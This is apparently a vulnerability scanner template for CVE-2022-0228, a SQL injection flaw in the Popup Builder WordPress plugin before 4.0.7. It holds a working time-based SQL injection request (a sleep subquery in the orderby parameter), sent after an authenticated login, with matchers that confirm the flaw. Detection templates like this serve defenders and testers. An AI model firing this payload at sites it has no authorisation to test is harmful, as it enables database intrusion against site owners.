id: CVE-2022-0228 info: name: Popup Builder < 4.0.7 - SQL Injection author: r3Y3r53 severity: high description: | The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection. remediation: update to v.4.0.7 reference: - https://wpscan.com/vulnerability/22facac2-52f4-4e5f-be59-1d2934b260d9 - https://nvd.nist.gov/vuln/detail/CVE-2022-0228 - https://plugins.trac.wordpress.org/changeset/2659117 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2022-0228 cwe-id: CWE-89 epss-score: 0.03432 epss-percentile: 0.90525 cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: sygnoos product: popup_builder framework: wordpress publicwww-query: /wp-content/plugins/popup-builder/ tags: cve2022,cve,wordpress,wp-plugin,wp,wpscan,popup-builder,sygnoos,sqli http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | @timeout: 15s GET /wp-admin/admin-post.php?action=csv_file&orderby=email%2c(select+*+from(select(sleep(7)))b)&order=desc HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration_2>=7' - 'status_code_2 == 200' - 'contains_all(body_2, "first name", "last name", "email")' - 'contains(content_type_2, "application/octet-stream")' condition: and # digest: 4b0a00483046022100c9d4db001827ca9a67cb287f51c4c4468f30f8f78d77090b06120b1fb38ba03f022100df693505604b25bf88ecb96824115a435b59f11daacf305a4ac14cd482e93c89:922c64590222798bb761d5b6d8e72950